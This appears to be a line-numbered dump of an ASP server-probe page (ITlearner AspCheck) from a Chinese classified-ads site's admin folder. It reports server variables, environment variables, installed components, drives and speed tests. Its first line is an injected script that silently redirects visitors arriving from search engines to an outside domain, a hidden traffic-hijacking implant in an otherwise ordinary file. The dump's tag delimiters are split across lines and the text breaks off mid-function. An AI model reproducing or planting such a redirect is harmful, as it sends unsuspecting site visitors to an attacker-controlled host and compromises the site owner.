d:\wwwroot\wuchunhua\admin\check.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
%
>
006:
007:
<%
008:
Response.Buffer = True
009:
Dim startime
010:
startime=timer()
011:
Dim hx
012:
Set hx = New Cls_AspCheck
013:
class Cls_AspCheck
014:
Public FileName,WebName,WebUrl,SysName,SysNameE,SysVersion
015:
016:
'检查组件是否被支持
017:
Public Function IsObjInstalled(strClassString)
018:
On Error Resume Next
019:
Dim xTestObj
020:
Set xTestObj = Server.CreateObject(strClassString)
021:
If Err Then
022:
IsObjInstalled = False
023:
else
024:
IsObjInstalled = True
025:
end if
026:
Set xTestObj = Nothing
027:
End Function
028:
029:
'检查组件版本
030:
Public Function getver(Classstr)
031:
On Error Resume Next
032:
Dim xTestObj
033:
Set xTestObj = Server.CreateObject(Classstr)
034:
If Err Then
035:
getver=""
036:
else
037:
getver=xTestObj.version
038:
end if
039:
Set xTestObj = Nothing
040:
End Function
041:
042:
Public Function GetObjInfo(startnum,endnum)
043:
dim i,Outstr
044:
for i=startnum to endnum
045:
Outstr = Outstr & "<tr class=""item_tr1""><td>" & theTestObj(i,0) & ""
046:
if theTestObj(i,1) <> "" then Outstr = Outstr & "<span class=""font_1"">"&theTestObj(i,1)&"</span>"
047:
Outstr = Outstr & "</td>"
048:
If Not IsObjInstalled(theTestObj(i,0)) Then
049:
Outstr = Outstr & "<td><span class=""font_2""><b>×</b></span></td>"
050:
Else
051:
Outstr = Outstr & "<td><span class=""font_3""><b>√</b></span> " & getver(theTestObj(i,0)) & "</td>"
052:
End If
053:
Outstr = Outstr & "</tr>" & vbCrLf
054:
next
055:
Response.Write(Outstr)
056:
End Function
057:
058:
Private Sub Class_Initialize()
059:
WebName="中国分类信息网"
060:
WebUrl="http://www.gaobei.com"
061:
SysName="V4.0"
062:
SysNameE="AspCheck"
063:
SysVersion="V1.3"
064:
FileName=Request.ServerVariables("SCRIPT_NAME")
065:
if InStr(FileName,"/") then FileName = right(FileName,len(FileName)-InStrRev(FileName,"/"))
066:
End Sub
067:
068:
Public Function dtype(num)
069:
Select Case num
070:
Case 0: dtype = "未知"
071:
Case 1: dtype = "可移动磁盘"
072:
Case 2: dtype = "本地硬盘"
073:
Case 3: dtype = "网络磁盘"
074:
Case 4: dtype = "CD-ROM"
075:
Case 5: dtype = "RAM 磁盘"
076:
End Select
077:
End Function
078:
079:
Public Function formatdsize(dsize)
080:
if dsize>=1073741824 then
081:
formatdsize=Formatnumber(dsize/1073741824,2) & " GB"
082:
elseif dsize>=1048576 then
083:
formatdsize=Formatnumber(dsize/1048576,2) & " MB"
084:
elseif dsize>=1024 then
085:
formatdsize=Formatnumber(dsize/1024,2) & " KB"
086:
else
087:
formatdsize=dsize & "B"
088:
end if
089:
End Function
090:
091:
Public Function formatvariables(str)
092:
On Error Resume Next
093:
str = cstr(server.htmlencode(str))
094:
formatvariables=replace(str,chr(10),"<br>")
095:
End Function
096:
097:
Public Sub ShowFooter()
098:
dim Endtime,Runtime,OutStr
099:
Endtime=timer()
100:
OutStr = "<div id=""bottom"">"
101:
OutStr = OutStr & " "
102:
OutStr = OutStr & " " & vbcrlf
103:
Runtime=FormatNumber((endtime-startime)*1000,2)
104:
if Runtime>0 then
105:
if Runtime>1000 then
106:
OutStr = OutStr & "页面执行时间:约"& FormatNumber(runtime/1000,2) & "秒"
107:
else
108:
OutStr = OutStr & "页面执行时间:约"& Runtime & "毫秒"
109:
end if
110:
end if
111:
OutStr = OutStr & " "
112:
OutStr = OutStr & "<a href='http://www.it" + "learner.com/aspcheck/' target='_blank'>ITlearner AspCheck " & SysVersion & "</a>"
113:
OutStr = OutStr & "</p></div>"
114:
Response.Write(OutStr)
115:
End Sub
116:
117:
Public Function getEngVerVBS()
118:
getEngVerVBS=ScriptEngineMajorVersion() &"."&ScriptEngineMinorVersion() &"." & ScriptEngineBuildVersion() & " "
119:
End Function
120:
End class
121:
122:
Dim theTestObj(25,1)
123:
124:
theTestObj(0,0) = "MSWC.AdRotator"
125:
theTestObj(1,0) = "MSWC.BrowserType"
126:
theTestObj(2,0) = "MSWC.NextLink"
127:
theTestObj(3,0) = "MSWC.Tools"
128:
theTestObj(4,0) = "MSWC.Status"
129:
theTestObj(5,0) = "MSWC.Counters"
130:
theTestObj(6,0) = "MSWC.PermissionChecker"
131:
theTestObj(7,0) = "WScript.Shell"
132:
theTestObj(8,0) = "Microsoft.XMLHTTP"
133:
theTestObj(9,0) = "Scripting.FileSystemObject"
134:
theTestObj(9,1) = "(FSO 文本文件读写)"
135:
theTestObj(10,0) = "ADODB.Connection"
136:
theTestObj(10,1) = "(ADO 数据对象)"
137:
138:
theTestObj(11,0) = "SoftArtisans.FileUp"
139:
theTestObj(11,1) = "(SA-FileUp 文件上传)"
140:
theTestObj(12,0) = "SoftArtisans.ImageGen"
141:
theTestObj(12,1) = "(SA 的图像读写组件)"
142:
theTestObj(13,0) = "LyfUpload.UploadFile"
143:
theTestObj(13,1) = "(刘云峰的文件上传组件)"
144:
theTestObj(14,0) = "Persits.Upload"
145:
theTestObj(14,1) = "(ASPUpload 文件上传)"
146:
theTestObj(15,0) = "w3.upload"
147:
theTestObj(15,1) = "(Dimac 文件上传)"
148:
theTestObj(16,0) = "JMail.SmtpMail"
149:
theTestObj(16,1) = "(Dimac JMail 邮件收发)"
150:
theTestObj(17,0) = "CDONTS.NewMail"
151:
theTestObj(17,1) = "(虚拟 SMTP 发信)"
152:
theTestObj(18,0) = "Persits.MailSender"
153:
theTestObj(18,1) = "(ASPemail 发信)"
154:
theTestObj(19,0) = "SmtpMail.SmtpMail.1"
155:
theTestObj(19,1) = "(SmtpMail 发信)"
156:
theTestObj(20,0) = "PE_Common.Site"
157:
theTestObj(20,1) = "(动易2005组件)"
158:
%
>
159:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
160:
<html>
161:
<head>
162:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
163:
<title></title>
164:
<style type="text/css">
165:
<!--
166:
body {font-size:12px;margin-left:50px;background:#FFF;line-height:1.5;font-family:宋体,arial;color:#000;}
167:
td,span {font-size:12px;word-break:break-all;word-wrap:break-word;line-height:1.2;}
168:
form {margin:0;}
169:
#top {width:600px;margin:8px 0;text-align:center;}
170:
#bottom {border:1px dotted #183789;width:600px;margin-top:10px;text-align:center;padding:5px 0;}
171:
h3 {font-size:30px;margin:0;}
172:
h3 sub {font-size:14px;font-weight:normal;}
173:
a {color:#000; text-decoration:none}
174:
a:hover {color:#F00;}
175:
.input {border:1px solid #0099CF;}
176:
.btn_c {background:#0099CF;border:1px solid #0099CF;color:#FFF;font-size:12px;}
177:
.PicBar {background:#0099CF;border:1px solid #000;height:12px;vertical-align:middle;}
178:
#txt_speed{position:absolute;height:30px;z-index:1000;}
179:
.frame_box{border:0;width:600px;margin-top:5px;}
180:
.item_title_head{font-weight:bold;}
181:
.item_title{background:#0099CF;text-align:center;color:#FFF;padding:3px;}
182:
.item_title a{color:#FFF;}
183:
.item_title_other{cursor:hand;}
184:
.item_content{width:600px;}
185:
.item_content_head{background:#9CF;text-indent:12px;}
186:
.item_tr1{text-indent:8px;background:#FFF;}
187:
.item_tr2{text-align:center;background:#FFF;height:18px;}
188:
.font_1{color:#888;}
189:
.font_2{color:#080;}
190:
.font_3{color:#F00;}
191:
-->
192:
</style>
193:
<script language="JavaScript" runat="server">
194:
function getEngVerJs(){
195:
try{
196:
return ScriptEngineMajorVersion() +"."+ScriptEngineMinorVersion()+"."+ ScriptEngineBuildVersion() + " ";
197:
}catch(e){
198:
return "服务器不支持此项检测";
199:
}
200:
201:
}
202:
</script>
203:
<script language="JavaScript" type="text/javascript">
204:
<!--
205:
function Checksearchbox(form1){
206:
if(form1.classname.value == "")
207:
{
208:
alert("请输入你要检测的组件名!");
209:
form1.classname.focus();
210:
return false;
211:
}
212:
}
213:
function showsubmenu(sid){
214:
whichEl = eval("submenu" + sid);
215:
if (whichEl.style.display == "none")
216:
{
217:
eval("submenu" + sid + ".style.display=\"\";");
218:
eval("txt" + sid + ".innerHTML=\"<span title='关闭此项'>x<\/span>\";");
219:
}
220:
else
221:
{
222:
eval("submenu" + sid + ".style.display=\"none\";");
223:
eval("txt" + sid + ".innerHTML=\"<span title='打开此项'>y<\/span>\";");
224:
}
225:
}
226:
-->
227:
</script>
228:
</head>
229:
<body>
230:
231:
<%
232:
dim action
233:
action=request("action")
234:
select case action
235:
case "Custom_ObjInfo"
236:
Call menu2
237:
%
><div class="frame_box">
<%
Call Custom_ObjInfo
%
></div>
238:
<%
Response.End
239:
case "SystemCheck"
240:
Call menu2
241:
Call SystemCheck
242:
end select
243:
244:
Call menu
245:
Call SystemTest
246:
Call ObjTest
247:
Call CalculateTest
248:
Call DriveTest
249:
Call SpeedTest
250:
'hx.ShowFooter
251:
Set hx= nothing
252:
253:
%
>
254:
<%
Sub menu
%
>
255:
选项:<a href="#SystemTest">服务器有关参数</a> | <a href="#ObjTest">服务器组件情况</a> | <a href="#CalcuateTest">服务器运算能力</a>
256:
| <a href="#DriveTest">服务器磁盘信息</a> | <a href="#SpeedTest">服务器连接速度</a><br>
257:
安全:<a href="?action=SystemCheck">系统用户(组)和进程检测</a><br>
258:
<%
End Sub
259:
Sub menu2
260:
Response.Write "<p>返回<a href="""&hx.FileName&""">主界面</a></p>"
261:
End Sub
262:
Sub GoTop
263:
Response.Write " <a href=""#top"" title=""返回顶部""><font face=""Webdings"">5</font></a>"
264:
End Sub
265:
%
>
266:
<%
Sub smenu(i)
%
>
267:
<font face="Wingdings"><span class="item_title_other" onclick="showsubmenu(
<%
=i
%
>)" id="txt
<%
=i
%
>"><span title="关闭此项">x</span></span></font>
268:
<%
End Sub
%
>
269:
<%
Sub SystemTest
270:
On Error Resume Next
271:
%
>
272:
<a name="SystemTest"></a>
273:
274:
<div class="frame_box">
275:
<div class="item_title">
276:
<span class="item_title_head">服务器有关参数</span>
<%
Call GoTop
%
>
277:
<%
Call smenu(0)
%
>
278:
</div>
279:
<div class="item_content" id='submenu0'>
280:
281:
<table border="0" width="98%" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
282:
<tr class="item_tr1">
283:
284:
<td width="198">服务器名</td>
285:
286:
<td width="329">
<%
=Request.ServerVariables("SERVER_NAME")
%
></td>
287:
288:
<td width="198">服务器操作系统</td>
289:
290:
<td width="349">
<%
=Request.ServerVariables("OS")
%
></td>
291:
</tr>
292:
<tr class="item_tr1">
293:
294:
<td width="198">服务器IP</td>
295:
296:
<td width="329">
<%
=Request.ServerVariables("LOCAL_ADDR")
%
></td>
297:
298:
<td width="198">服务器端口</td>
299:
300:
<td width="349">
<%
=Request.ServerVariables("SERVER_PORT")
%
></td>
301:
</tr>
302:
<tr class="item_tr1">
303:
304:
<td width="198">服务器时间</td>
305:
306:
<td width="329">
<%
=now
%
></td>
307:
308:
<td width="198">服务器CPU数量</td>
309:
310:
<td width="349">
<%
=Request.ServerVariables("NUMBER_OF_PROCESSORS")
%
> 个</td>
311:
</tr>
312:
<tr class="item_tr1">
313:
314:
<td width="198">IIS版本</td>
315:
316:
<td width="329">
<%
=Request.ServerVariables("SERVER_SOFTWARE")
%
></td>
317:
318:
<td width="198">脚本超时时间</td>
319:
320:
<td width="349">
<%
=Server.ScriptTimeout
%
> 秒</td>
321:
</tr>
322:
<tr class="item_tr1">
323:
324:
<td width="198">Application变量</td>
325:
326:
<td width="329">
327:
<%
Response.Write(Application.Contents.Count & "个 ")
328:
if Application.Contents.count>0 then Response.Write("[<a href=""?action=showapp"">遍历Application变量</a>]")
%
>
329:
</td>
330:
331:
<td width="198">Session变量</td>
332:
333:
<td width="349">
334:
<%
Response.Write(Session.Contents.Count&"个 ")
335:
if Session.Contents.count>0 then Response.Write("[<a href=""?action=showsession"">遍历Session变量</a>]")
%
>
336:
</td>
337:
</tr>
338:
<tr class="item_tr1">
339:
340:
<td width="198"><a href="?action=showvariables">所有服务器参数</a></td>
341:
342:
<td width="329">
343:
<%
Response.Write(Request.ServerVariables.Count&"个 ")
344:
if Request.ServerVariables.Count>0 then Response.Write("[<a href=""?action=showvariables"">遍历服务器参数</a>]")
%
>
345:
</td>
346:
347:
<td width="198">服务器环境变量</td>
348:
349:
<td width="349">
350:
<%
351:
dim WshShell,WshSysEnv
352:
Set WshShell = server.CreateObject("WScript.Shell")
353:
Set WshSysEnv = WshShell.Environment
354:
if err then
355:
Response.Write("服务器不支持WScript.Shell组件")
356:
err.clear
357:
else
358:
Response.Write(WshSysEnv.count &"个 ")
359:
if WshSysEnv.count>0 then Response.Write("[<a href=""?action=showwsh"">遍历环境变量</a>]")
360:
end if
361:
%
>
362:
</td>
363:
</tr>
364:
<tr class="item_tr1">
365:
366:
<td width="198">服务器解译引擎</td>
367:
<td colspan="3">JScript:
<%
= getEngVerJs()
%
> | VBScript:
<%
=hx.getEngVerVBS()
%
></td>
368:
</tr>
369:
<tr class="item_tr1">
370:
371:
<td width="198">本文件实际路径</td>
372:
<td colspan="3">
<%
=server.mappath(Request.ServerVariables("SCRIPT_NAME"))
%
></td>
373:
</tr>
374:
</table>
375:
<%
376:
if action="showapp" or action="showsession" or action="showvariables" or action="showwsh" then
377:
showvariable(action)
378:
end if
379:
%
>
380:
</div>
381:
</div>
382:
<%
383:
End Sub
384:
385:
Sub showvariable(action)
386:
%
>
387:
<table width="98%" border="0" cellpadding="3" cellspacing="1" bgcolor="#799AE1" align="center">
388:
<tr class="item_content_head">
389:
<td colspan="2">
390:
<%
391:
On Error Resume Next
392:
dim Item,xTestObj,outstr
393:
Response.Write("<font face='Webdings'>4</font> ")
394:
if action="showapp" then
395:
Response.Write("遍历Application变量")
396:
set xTestObj=Application.Contents
397:
elseif action="showsession" then
398:
Response.Write("遍历Session变量")
399:
set xTestObj=Session.Contents
400:
elseif action="showvariables" then
401:
Response.Write("遍历服务器参数")
402:
set xTestObj=Request.ServerVariables
403:
elseif action="showwsh" then
404:
Response.Write("遍历环境变量")
405:
dim WshShell
406:
Set WshShell = server.CreateObject("WScript.Shell")
407:
set xTestObj=WshShell.Environment
408:
end if
409:
Response.Write "(<a href="""&hx.FileName&""">关闭</a>)"
410:
%
>
411:
</td>
412:
</tr>
413:
<tr bgcolor="#FFFFFF">
414:
<td width="227">变量名</td>
415:
<td width="861">值</td>
416:
</tr>
417:
<%
418:
if err then
419:
outstr = "<tr bgcolor=""#FFFFFF""><td colspan=""2"">没有符合条件的变量</td></tr>"
420:
err.clear
421:
else
422:
dim w
423:
if action="showwsh" then
424:
for each Item in xTestObj
425:
w=split(Item,"=")
426:
outstr = outstr & "<tr bgcolor=""#FFFFFF"">"
427:
outstr = outstr & "<td>" & w(0) & "</td>"
428:
outstr = outstr & "<td>" & w(1) & "</td>"
429:
outstr = outstr & "</tr>"
430:
next
431:
else
432:
dim i
433:
for each Item in xTestObj
434:
outstr = outstr & "<tr bgcolor=""#FFFFFF"">"
435:
outstr = outstr & "<td>" & Item & "</td>"
436:
outstr = outstr & "<td>"
437:
if IsArray(xTestObj(Item)) then
438:
for i=0 to ubound(xTestObj(Item))-1
439:
if IsArray(xTestObj(Item)(i)) then
440:
outstr = outstr & "数组" & "<br>"
441:
else
442:
outstr = outstr & hx.formatvariables(xTestObj(Item)(i)) & "<br>"
443:
end if
444:
next
445:
else
446:
outstr = outstr & hx.formatvariables(xTestObj(Item))
447:
end if
448:
outstr = outstr & "</td>"
449:
outstr = outstr & "</tr>"
450:
next
451:
end if
452:
end if
453:
Response.Write(outstr)
454:
set xTestObj=nothing
455:
%
>
456:
</table>
457:
<%
End Sub
%
>
458:
<%
Sub ObjTest
%
>
459:
<a name="ObjTest"></a>
460:
<div class="frame_box">
461:
<div class="item_title">
462:
<span class="item_title_head">服务器组件情况</span>
<%
Call GoTop
%
>
463:
<%
Call smenu(1)
%
>
464:
</div>
465:
<div class="item_content" id='submenu1'>
466:
467:
468:
<table border="0" width="98%" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
469:
<tr class="item_content_head">
470:
<td colspan="2"><font face='Webdings'>4</font> IIS自带的ASP组件</td>
471:
</tr>
472:
<tr class="item_tr1">
473:
<td width="450">组 件 名 称</td>
474:
<td width="150">支持及版本</td>
475:
</tr>
476:
<%
hx.GetObjInfo 0,10
%
>
477:
</table>
478:
479:
<table border="0" width="98%" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
480:
<tr class="item_content_head">
481:
<td colspan="2"><font face='Webdings'>4</font> 网站常用组件 </td>
482:
</tr>
483:
<tr class="item_tr1">
484:
<td width="450">组 件 名 称</td>
485:
<td width="150">支持及版本</td>
486:
</tr>
487:
<%
hx.GetObjInfo 11,20
%
>
488:
</table>
489:
<%
Call Custom_ObjInfo()
%
>
490:
</div>
491:
</div>
492:
<%
493:
End Sub
494:
Sub Custom_ObjInfo
%
>
495:
496:
<table border="0" width="98%" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
497:
<tr class="item_content_head">
498:
<td><font face='Webdings'>4</font> 其他组件支持情况检测 </td>
499:
</tr>
500:
<tr>
501:
<td height="30" bgcolor="#FFFFFF">
502:
<form action="?action=Custom_ObjInfo" method="post">
503:
输入你要检测的组件的ProgId或ClassId
504:
<input class="input" type="text" value="" name="classname" size="40">
505:
<input type="submit" value="确定" class="btn_c" name="submit1" onclick="return Checksearchbox(this.form);">
506:
</form>
507:
</td>
508:
</tr>
509:
<%
510:
Dim strClass
511:
strClass = Trim(Request.Form("classname"))
512:
If strClass <> "" then
513:
514:
Response.Write "<tr><td height=""30"" bgcolor=""#FFFFFF"">您指定的组件的检查结果:"
515:
If Not hx.IsObjInstalled(strClass) then
516:
Response.Write "<span class=""font_3"">很遗憾,该服务器不支持" & strclass & "组件!</span>"
517:
Else
518:
Response.Write "<span class=""font_3"">"
519:
Response.Write " 恭喜!该服务器支持" & strclass & "组件。"
520:
If hx.getver(strclass)<>"" then
521:
Response.Write " 该组件版本是:" & hx.getver(strclass)
522:
End if
523:
Response.Write "</span>"
524:
End If
525:
Response.Write "</td></tr>"
526:
end if
527:
%
>
528:
</table>
529:
<%
End Sub
530:
531:
Sub CalculateTest
532:
%
><a name="CalcuateTest"></a>
533:
<div class="frame_box">
534:
<div class="item_title">
535:
<span class="item_title_head">服务器运算能力</span>
<%
Call GoTop
%
>
536:
<%
Call smenu(2)
%
>
537:
</div>
538:
<div class="item_content" id='submenu2'>
539:
540:
<table border="0" width="98%" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
541:
<tr class="item_content_head">
542:
<td colspan="3"><font face='Webdings'>4</font> 让服务器执行50万次加法(整数运算)和20万次开方(浮点运算),记录其所使用的时间。
543:
</td>
544:
</tr>
545:
<tr class="item_tr2">
546:
<td width="400">可 供 参 考 的 服 务 器 列 表</td>
547:
<td width="100">整数运算</td>
548:
<td width="100">浮点运算</td>
549:
</tr>
550:
<tr class="item_tr1">
551:
<td>ITlearner的电脑 (CPU:Celeron 2G 内存:512M)</td>
552:
<td>242.19 毫秒</td>
553:
<td>191.41 毫秒</td>
554:
</tr>
555:
<tr class="item_tr1">
556:
<td>ITlearner的服务器 (CPU:P4 3.0G(1M) 内存:1.5G)</td>
557:
<td>187.50 毫秒</td>
558:
<td>171.88 毫秒</td>
559:
</tr>
560:
<tr class="item_tr1">
561:
<td><a href="http://union.itlearner.com" target="_blank">中国频道虚拟主机</a> [2005/08/08]</td>
562:
<td>375.00 毫秒</td>
563:
<td>328.13 毫秒</td>
564:
</tr>
565:
<tr class="item_tr1">
566:
<td><a href="http://flash.itlearner.com" target="_blank">东南数据虚拟主机</a> [2005/08/08]</td>
567:
<td>343.75 毫秒</td>
568:
<td>312.50 毫秒</td>
569:
</tr>
570:
<tr class="item_tr1">
571:
<td><a href="http://www.iva.cn" target="_blank">伊瓦科技虚拟主机</a> [2005/08/08]</td>
572:
<td>203.13 毫秒</td>
573:
<td>187.50 毫秒</td>
574:
</tr>
575:
<%
576:
dim i,t1,t2,tempvalue,runtime1,runtime2
577:
'开始计算50万次加法所需时间
578:
t1=timer()
579:
for i=1 to 500000
580:
tempvalue= 1 + 1
581:
next
582:
t2=timer()
583:
runtime1=formatnumber((t2-t1)*1000,2)
584:
585:
'开始计算20万次开方所需时间
586:
t1=timer()
587:
for i=1 to 200000
588:
tempvalue= 2^0.5
589:
next
590:
t2=timer()
591:
runtime2=formatnumber((t2-t1)*1000,2)
592:
%
>
593:
<tr class="item_tr1">
594:
<td><span class="font_3">您正在使用的这台服务器</span> <input name="button" type="button" class="btn_c" onclick="document.location.href='
<%
=hx.FileName
%
>'" value="重新测试">
595:
</td>
596:
<td><span class="font_3">
<%
=runtime1
%
> 毫秒</span></td>
597:
<td><span class="font_3">
<%
=runtime2
%
> 毫秒</span></td>
598:
</tr>
599:
</table>
600:
</div>
601:
</div>
602:
<%
603:
End Sub
604:
Sub DriveTest
605:
On Error Resume Next
606:
Dim fo,d,xTestObj
607:
set fo=Server.Createobject("Scripting.FileSystemObject")
608:
set xTestObj=fo.Drives
609:
%
>
610:
<a name="DriveTest"></a>
611:
<div class="frame_box">
612:
<div class="item_title">
613:
<span class="item_title_head">服务器磁盘信息</span>
<%
Call GoTop
%
>
614:
<%
Call smenu(4)
%
>
615:
</div>
616:
<div class="item_content" id='submenu4'>
617:
<%
if hx.IsObjInstalled("Scripting.FileSystemObject") then
%
>
618:
619:
<table border="0" width="98%" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
620:
<tr class="item_content_head">
621:
<td colspan="7"><font face='Webdings'>4</font> 服务器磁盘信息</td>
622:
</tr>
623:
<tr class="item_tr1">
624:
<td width="90">磁盘类型</td>
625:
<td width="35">盘符</td>
626:
<td width="35">可用</td>
627:
<td width="100">卷标</td>
628:
<td width="80">文件系统</td>
629:
<td width="130">可用空间</td>
630:
<td width="130">总空间</td>
631:
</tr>
632:
<%
633:
for each d in xTestObj
634:
Response.write "<tr class=""item_tr1"">"
635:
Response.write "<td>"&hx.dtype(d.DriveType)&"</td>"
636:
Response.write "<td>"&d.DriveLetter&"</td>"
637:
if d.DriveLetter = "A" then
638:
Response.Write "<td colspan=""5"">为防止影响服务器,不检查软驱</td>"
639:
else
640:
Response.write "<td>"
641:
if d.isready then
642:
Response.Write "√"
643:
Response.write "</td>"
644:
Response.write "<td>"&d.VolumeName&"</td>"
645:
Response.write "<td>"&d.FileSystem&"</td>"
646:
Response.write "<td>"&hx.formatdsize(d.FreeSpace)&"</td>"
647:
Response.write "<td>"&hx.formatdsize(d.TotalSize)&"</td>"
648:
else
649:
Response.Write "×"
650:
Response.Write "<td colspan=4> 可能是磁盘有问题,或者程序没有读取权限</td>"
651:
end if
652:
end if
653:
next
%
>
654:
</table>
655:
<%
656:
Dim filePath,fileDir,fileDrive
657:
filePath = server.MapPath(".")
658:
set fileDir = fo.GetFolder(filePath)
659:
set fileDrive = fo.GetDrive(fileDir.Drive)
660:
%
>
661:
662:
<table border="0" width="98%" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
663:
<tr class="item_content_head">
664:
<td colspan="6"><font face='Webdings'>4</font> 当前文件夹信息 (
<%
=filePath
%
>)</td>
665:
</tr>
666:
<tr class="item_tr2">
667:
<td width="100">已用空间</td>
668:
<td width="100">可用空间</td>
669:
<td width="70">文件夹数</td>
670:
<td width="70">文件数</td>
671:
<td width="130">创建时间</td>
672:
<td width="130">修改时间</td>
673:
</tr>
674:
<%
675:
Response.write "<tr class=""item_tr2"">"
676:
Response.write "<td>"&hx.formatdsize(fileDir.Size)&"</td>"
677:
Response.write "<td>"
678:
Response.write hx.formatdsize(fileDrive.AvailableSpace)
679:
if err then
680:
Response.write "没有权限读取"
681:
error.clear
682:
end if
683:
Response.write "</td>"
684:
Response.write "<td>"&fileDir.SubFolders.Count&"</td>"
685:
Response.write "<td>"&fileDir.Files.Count&"</td>"
686:
Response.write "<td>"&fileDir.DateCreated&"</td> "
687:
Response.write "<td>"&fileDir.DateLastModified&"</td> "
688:
689:
Dim i,t1,t2,runtime,TestFileName
690:
Dim tempfo
691:
t1= timer()
692:
TestFileName=server.mappath("ITlearner_Test.txt")
693:
for i=1 to 30
694:
set tempfo=fo.CreateTextFile(TestFileName,true)
695:
tempfo.WriteLine "It's a test file."
696:
set tempfo=nothing
697:
set tempfo=fo.OpenTextFile(TestFileName,8,0)
698:
tempfo.WriteLine "It's a test file."
699:
set tempfo=nothing
700:
set tempfo=fo.GetFile(TestFileName)
701:
tempfo.delete True
702:
set tempfo=nothing
703:
next
704:
t2= timer()
705:
runtime=formatnumber((t2-t1)*1000,2)
706:
%
>
707:
</table>
708:
709:
<table border="0" width="98%" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
710:
<tr class="item_content_head">
711:
<td colspan="2"><font face='Webdings'>4</font> 磁盘文件操作速度测试 (重复创建、写入、追加和删除文本文件30次,记录其所使用的时间)</td>
712:
</tr>
713:
<tr class="item_tr2">
714:
<td width="400">可 供 参 考 的 服 务 器 列 表</td>
715:
<td width="200">完成时间</td>
716:
</tr>
717:
<tr class="item_tr1">
718:
<td>ITlearner的电脑 (CPU:Celeron 2G 内存:512M)</td>
719:
<td>203.13 ~ 250.00 毫秒</td>
720:
</tr>
721:
<tr class="item_tr1">
722:
<td>ITlearner的服务器 (CPU:P4 3.0G(1M) 内存:1.5G)</td>
723:
<td>140.63 ~ 157.23 毫秒</td>
724:
</tr>
725:
<tr class="item_tr1">
726:
<td>中国频道虚拟主机 [2005/08/08]</td>
727:
<td>656.25 ~ 718.75 毫秒</td>
728:
</tr>
729:
<tr class="item_tr1">
730:
<td>东南数据虚拟主机 [2005/08/08]</td>
731:
<td>500.25 ~ 578.13 毫秒</td>
732:
</tr>
733:
<tr class="item_tr1">
734:
<td><span class="font_3">您正在使用的这台服务器</span> <input name="button2" type="button" class=btn_c onclick="document.location.href='
<%
=hx.FileName
%
>'" value="重新测试">
735:
</td>
736:
<td><span class="font_3">
<%
=runtime
%
> 毫秒</span></td>
737:
</tr>
738:
</table>
739:
<%
740:
else
741:
Response.write " 您的服务器或租用的空间不支持FSO组件,无法进行此项测试!"
742:
end if
%
>
743:
</div>
744:
</div>
745:
<%
746:
End Sub
747:
Sub SpeedTest
748:
Response.Flush()
749:
%
>
750:
<a name="SpeedTest"></a>
751:
<div class="frame_box">
752:
<div class="item_title">
753:
<span class="item_title_head">服务器连接速度</span>
<%
Call GoTop
%
>
<%
Call smenu(3)
%
>
754:
</div>
755:
<%
if action="SpeedTest" then
%
>
756:
<div id="txt_speed">网速测试中,请稍候...</div>
757:
<%
end if
%
>
758:
<div class="item_content" id='submenu3'>
759:
760:
<table width="98%" border="0" cellspacing="1" cellpadding="3" bgcolor="#799AE1" align="center">
761:
<tr class="item_tr1">
762:
<td width="80">接入设备</td>
763:
<td width="405">连接速度(理想值)</td>
764:
<td width="115">下载速度(理想值)</td>
765:
</tr>
766:
<tr class="item_tr1">
767:
<td>56k Modem</td>
768:
<td><img src="" alt="" class="PicBar" width="1%"> 56 Kbps</td><td>7.0 k/s</td>
769:
</tr>
770:
<tr class="item_tr1">
771:
<td>2M ADSL</td>
772:
<td><img src="" alt="" class="PicBar" width="10%"> 2000 Kbps</td><td>250.0 k/s</td>
773:
</tr>
774:
<tr class="item_tr1">
775:
<td>5M FTTP</td>
776:
<td><img src="" alt="" class="PicBar" width="180"> 5000 Kbps</td>
777:
<td>625.0 k/s</td>
778:
</tr>
779:
<tr class="item_tr1">
780:
<td>当前连接</td>
781:
<td>
782:
<%
783:
if action="SpeedTest" then
784:
dim i
785:
With Response
786:
.Write("<script language=""JavaScript"" type=""text/javascript"">var tSpeedStart=new Date();</script>")
787:
.Write("
<!--") & chr(13) & chr(10)
788:
for i=1 to 1000
789:
.Write("ITlearner-AspCheck-v1.3#############################################################################") & chr(13) & chr(10)
790:
next
791:
.Write("-->
") & chr(13) & chr(10)
792:
.Write("<script language=""JavaScript"" type=""text/javascript"">var tSpeedEnd=new Date();</script>") & chr(13) & chr(10)
793:
.Write("<script language=""JavaScript"" type=""text/javascript"">")
794:
.Write("var iSpeedTime=0;iSpeedTime=(tSpeedEnd - tSpeedStart) / 1000;")
795:
.Write("if(iSpeedTime>0) iKbps=Math.round(Math.round(100 * 8 / iSpeedTime * 10.5) / 10); else iKbps=10000 ;")
796:
.Write("var iShowPer=Math.round(iKbps / 100);")
797:
.Write("if(iShowPer<1) iShowPer=1; else if(iShowPer>82) iShowPer=82;")
798:
.Write("</script>") & chr(13) & chr(10)
799:
.Write("<script language=""JavaScript"" type=""text/javascript"">")
800:
.Write("document.write('<img class=""PicBar"" width=""' + iShowPer + '%""> ' + iKbps + ' Kbps');")
801:
.Write("</script>") & chr(13) & chr(10)
802:
.Write("</td><td><a href=""?action=SpeedTest"" title=""测试连接速度""><u>")
803:
.Write("<script language=""JavaScript"" type=""text/javascript"">")
804:
.Write("document.write(Math.round(iKbps/8*10)/10+ ' k/s');")
805:
.Write("</script>") & chr(13) & chr(10)
806:
.Write("</u></a>")
807:
.Write("<script language=""JavaScript"" type=""text/javascript"">")
808:
.Write("txt_speed.innerHTML=""网速测试完毕!"";")
809:
.Write("txt_speed.style.display=""none"";")
810:
.Write("</script>") & chr(13) & chr(10)
811:
End With
812:
else
813:
